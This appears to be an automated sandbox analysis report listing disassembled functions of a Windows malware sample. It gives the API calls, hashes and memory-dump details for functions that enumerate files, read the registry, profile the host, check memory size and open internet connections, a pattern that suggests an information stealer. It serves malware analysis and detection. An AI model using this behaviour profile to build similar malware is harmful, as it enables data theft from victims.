String ID: "" $.dll$<$C:\Windows\system32\rundll32.dll
API String ID: 672783590-3078973353
Opcode ID: 964d765adee0fe31e4676aab997155f4359c1df44a146a513bec6aa448c95ff4
Instruction ID: ff393b419b3d9cd89bf84e2a65158e8723a283ad60ef2a05342f0777a40cb69c
Opcode Fuzzy Hash: 964d765adee0fe31e4676aab997155f4359c1df44a146a513bec6aa448c95ff4
Instruction Fuzzy Hash: 19A124759101089ACB15FB91DC92FDEB739AF14304F51425FE10666095EF38ABCACFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004123F0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,02F349C8), ref: 0041244B

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412471
lstrcat.KERNEL32(?,?), ref: 00412490
lstrcat.KERNEL32(?,?), ref: 004124A4
lstrcat.KERNEL32(?,02F2ED58), ref: 004124B7
lstrcat.KERNEL32(?,?), ref: 004124CB
lstrcat.KERNEL32(?,02F351C8), ref: 004124DF

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004121F0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
Part of subcall function 004121F0: HeapAlloc.KERNEL32(00000000), ref: 00412207
Part of subcall function 004121F0: wsprintfA.USER32 ref: 00412223
Part of subcall function 004121F0: FindFirstFileA.KERNEL32(?,?), ref: 0041223A

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: 395add7090cdbb6d6251105095fca66e2a82fd4ed2ee8233d86ee031574b7eaf
Instruction ID: 26a05e4f659b4c4b868bb0234a0ad995871bbc4a3af1f84cd303f322fad0653f
Opcode Fuzzy Hash: 395add7090cdbb6d6251105095fca66e2a82fd4ed2ee8233d86ee031574b7eaf
Instruction Fuzzy Hash: 083164B6900608A7CB20FBB0DC95EE9773DAB48704F40458EB3469A051EA7897C8CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 004011E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
__aulldiv.LIBCMT ref: 00401218
__aulldiv.LIBCMT ref: 00401226
ExitProcess.KERNEL32 ref: 00401254

Strings

@, xrefs: 004011F3

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction ID: 7bcd30568b3a9749f5c78c38f6ef54fea4689c821e8202ed383253ad67bcf250
Opcode Fuzzy Hash: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction Fuzzy Hash: 8601FFB0940208EADB10EFD0CD4AB9EBBB8AB54705F204059E705B62D0D6785545875D

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CCFC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CCFC969
GetSystemInfo.KERNEL32(?), ref: 6CCFC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CCFC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CCFC9E2

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 1866646c278a4ee5b690f9e8259565631ab248348a14c04a9901d4196117606f
Instruction ID: 4ae0238da7e122cbd5d56fad9fc991042de4bf6d8a724a45e31cebbc228f7343
Opcode Fuzzy Hash: 1866646c278a4ee5b690f9e8259565631ab248348a14c04a9901d4196117606f
Instruction Fuzzy Hash: F521D8317416046BEB14AF65D884BBE73BDFF86300F50011AFA5396A80E7709904C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00412980 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 004129BA
lstrcat.KERNEL32(?,0041D888), ref: 004129D7
lstrcat.KERNEL32(?,02F313C8), ref: 004129EB
lstrcat.KERNEL32(?,0041D88C), ref: 004129FD

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

L0A, xrefs: 00412A22, 00412A51, 00412A73, 00412A25, 00412A54

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: L0A
API String ID: 2667927680-1482484291
Opcode ID: 1c202708cc60964f2e94630fbda4bc75347e87df5392fdcf2f40e36e12f63236
Instruction ID: f34e92357168eddbedcb052ffd5f2c6281475bb6170069d81cff4dd89e8051f4
Opcode Fuzzy Hash: 1c202708cc60964f2e94630fbda4bc75347e87df5392fdcf2f40e36e12f63236
Instruction Fuzzy Hash: A621CCBA9005087BC724FBA0DD46EDA373E9B54745F00058AB64956081EE7867C48BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00401260 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
HeapAlloc.KERNEL32(00000000), ref: 0040127B
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
RegCloseKey.ADVAPI32(?), ref: 004012BF

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction ID: 7bc2c45b39987af01ac2684a9b0918313f40fb8da876f9e4b9d967da472c28c8
Opcode Fuzzy Hash: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction Fuzzy Hash: 3C011D79A40608BFDB20DFE0DD49FAEB779AB88700F008159FA05E7280DA749A018B90

Uniqueness

Uniqueness Score: -1.00%

Function 00414740 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
HeapAlloc.KERNEL32(00000000), ref: 0041475B
RegOpenKeyExA.KERNEL32(80000002,02F2CCA8,00000000,00020119,00000000), ref: 0041477B
RegQueryValueExA.KERNEL32(00000000,02F351A8,00000000,00000000,000000FF,000000FF), ref: 0041479C
RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction ID: 520453153fef2218f7e1f18e9bcc50e310f062f1fe861ea372c3465721436b4a
Opcode Fuzzy Hash: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction Fuzzy Hash: 62013C79A40608FFDB20DBE4ED49FAEB779EB88700F108159FA05A6290DB705A018F90

Uniqueness

Uniqueness Score: -1.00%

Function 00414300 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
HeapAlloc.KERNEL32(00000000), ref: 0041431B
RegOpenKeyExA.KERNEL32(80000002,02F2CE30,00000000,00020119,00000000), ref: 0041433B
RegQueryValueExA.KERNEL32(00000000,02F34DA0,00000000,00000000,000000FF,000000FF), ref: 0041435C
RegCloseKey.ADVAPI32(00000000), ref: 00414366

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction ID: 8a55c6bb4586fa39bc5dd89715e436abefd5940c4b9bd8db073c1251d6bd8ac1
Opcode Fuzzy Hash: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction Fuzzy Hash: E3014FB5A40608BFDB20DBE4ED49FAEB77DEB88701F005154FA05E7290DB70AA01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00409970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(02F31648,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 0040998D
LoadLibraryA.KERNEL32(02F35188,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 00409A16

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F31618,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

SetEnvironmentVariableA.KERNEL32(02F31648,00000000,00000000,?,0041DA4C,?,0040EA16,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0041D6EF), ref: 00409A02

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00409982, 00409996, 004099AC

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: ce702b1469f577266a6fd750156f9fd3df758ad1bef934ecbf225ab110a965a0
Instruction ID: 6647cd3c00128b620a4a232c7fbe97fce3d03bd073b05a107f0d1bf2b4fd60a8
Opcode Fuzzy Hash: ce702b1469f577266a6fd750156f9fd3df758ad1bef934ecbf225ab110a965a0
Instruction Fuzzy Hash: 134196B5900A009BDB24DFA4FD85AAE37B6BB44305F01512EF405A72E2DFB89D46CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004065D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@:h@,@:h@), ref: 0040668F

Strings

:h@, xrefs: 0040660D, 00406629, 00406678, 00406688, 004065F4, 00406618, 00406623
@:h@, xrefs: 00406670, 00406673
:h@, xrefs: 004065DD, 004065FD, 0040667F

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: :h@$:h@$@:h@
API String ID: 544645111-3492212131
Opcode ID: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction ID: 05c83ec730d02739dc9afbe7597ff905435882b08ae1c12394b3aafa6fe5c026
Opcode Fuzzy Hash: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction Fuzzy Hash: 272131B4A00208EFDB04CF85C544BAEBBB1FF48304F1185AAD406AB381D3399A91DF85

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEC0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02F11B90,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF41
lstrlen.KERNEL32(00000000), ref: 0040D0DF
lstrlen.KERNEL32(00000000), ref: 0040D0F3
DeleteFileA.KERNEL32(00000000), ref: 0040D16C

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 56dcf7f9211755994697b22891d3806eaca045d589400c0ca19bab45cb4311ba
Instruction ID: 64a31cdf4344fffa4b83296b1621afa9cae3fe45de11617b70f8002e61f1a089
Opcode Fuzzy Hash: 56dcf7f9211755994697b22891d3806eaca045d589400c0ca19bab45cb4311ba
Instruction Fuzzy Hash: 758147769102049BCB14FBA1DC52EEE7739BF54308F51411EF516B6091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD10 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004141C0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
Part of subcall function 004141C0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
Part of subcall function 004141C0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
Part of subcall function 004141C0: HeapAlloc.KERNEL32(00000000), ref: 004142A7

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00414300: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
Part of subcall function 00414300: HeapAlloc.KERNEL32(00000000), ref: 0041431B
Part of subcall function 00414300: RegOpenKeyExA.KERNEL32(80000002,02F2CE30,00000000,00020119,00000000), ref: 0041433B
Part of subcall function 00414300: RegQueryValueExA.KERNEL32(00000000,02F34DA0,00000000,00000000,000000FF,000000FF), ref: 0041435C
Part of subcall function 00414300: RegCloseKey.ADVAPI32(00000000), ref: 00414366

Part of subcall function 00414380: GetCurrentProcess.KERNEL32(00000000,?,?,0040FF99,00000000,?,02F35148,00000000,?,0041D74C,00000000,?,00000000,00000000,?,02F31448), ref: 0041438F
Part of subcall function 00414380: IsWow64Process.KERNEL32(00000000,?,?,0040FF99,00000000,?,02F35148,00000000,?,0041D74C,00000000,?,00000000,00000000,?,02F31448), ref: 00414396

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02F315B8,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00414450: GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
Part of subcall function 00414450: HeapAlloc.KERNEL32(00000000), ref: 00414464
Part of subcall function 00414450: GetLocalTime.KERNEL32(?), ref: 00414471
Part of subcall function 00414450: wsprintfA.USER32 ref: 004144A0

Part of subcall function 004144B0: GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,02F34F08,00000000,?,0041D758,00000000,?,00000000,00000000,?,02F35348,00000000), ref: 004144C0
Part of subcall function 004144B0: HeapAlloc.KERNEL32(00000000), ref: 004144C7
Part of subcall function 004144B0: GetTimeZoneInformation.KERNEL32(?), ref: 004144DA

Part of subcall function 00414530: GetUserDefaultLocaleName.KERNEL32(00000000,00000055,00000000,00000000,?,02F34F08,00000000,?,0041D758,00000000,?,00000000,00000000,?,02F35348,00000000), ref: 00414542

Part of subcall function 00414570: GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
Part of subcall function 00414570: LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
Part of subcall function 00414570: GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
Part of subcall function 00414570: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
Part of subcall function 00414570: LocalFree.KERNEL32(00000000), ref: 004146DF

Part of subcall function 00414710: GetSystemPowerStatus.KERNEL32(00000000), ref: 0041471A

GetCurrentProcessId.KERNEL32(00000000,?,02F35208,00000000,?,0041D76C,00000000,?,00000000,00000000,?,02F34F20,00000000,?,0041D768,00000000), ref: 0041037E

Part of subcall function 00415B70: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
Part of subcall function 00415B70: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
Part of subcall function 00415B70: CloseHandle.KERNEL32(00000000), ref: 00415BAF

Part of subcall function 00414740: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
Part of subcall function 00414740: HeapAlloc.KERNEL32(00000000), ref: 0041475B
Part of subcall function 00414740: RegOpenKeyExA.KERNEL32(80000002,02F2CCA8,00000000,00020119,00000000), ref: 0041477B
Part of subcall function 00414740: RegQueryValueExA.KERNEL32(00000000,02F351A8,00000000,00000000,000000FF,000000FF), ref: 0041479C
Part of subcall function 00414740: RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Part of subcall function 00414800: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00414846
Part of subcall function 00414800: GetLastError.KERNEL32 ref: 00414855

Part of subcall function 004147C0: GetSystemInfo.KERNEL32(00000000), ref: 004147CD
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147E3

Part of subcall function 00414960: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,02F34818,00000000,?,0041D774,00000000,?,00000000,00000000,?,02F34F38), ref: 0041496D
Part of subcall function 00414960: HeapAlloc.KERNEL32(00000000), ref: 00414974
Part of subcall function 00414960: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149AF
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149BD
Part of subcall function 00414960: wsprintfA.USER32 ref: 004149E9

Part of subcall function 00414ED0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
Part of subcall function 00414ED0: HeapAlloc.KERNEL32(00000000), ref: 00414F23
Part of subcall function 00414ED0: wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,02F32968,00000000,00020019,00000000,0041D289), ref: 00414B41

Part of subcall function 00414AE0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
Part of subcall function 00414AE0: wsprintfA.USER32 ref: 00414BF6
Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C29
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00414DE0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Part of subcall function 00414DE0: Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Part of subcall function 00414DE0: Process32Next.KERNEL32(00000000,00000128), ref: 00414E30
Part of subcall function 00414DE0: FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041095B

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F313A8), ref: 00404ED9

Strings

E.A, xrefs: 00410981, 004109AC, 00410984

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
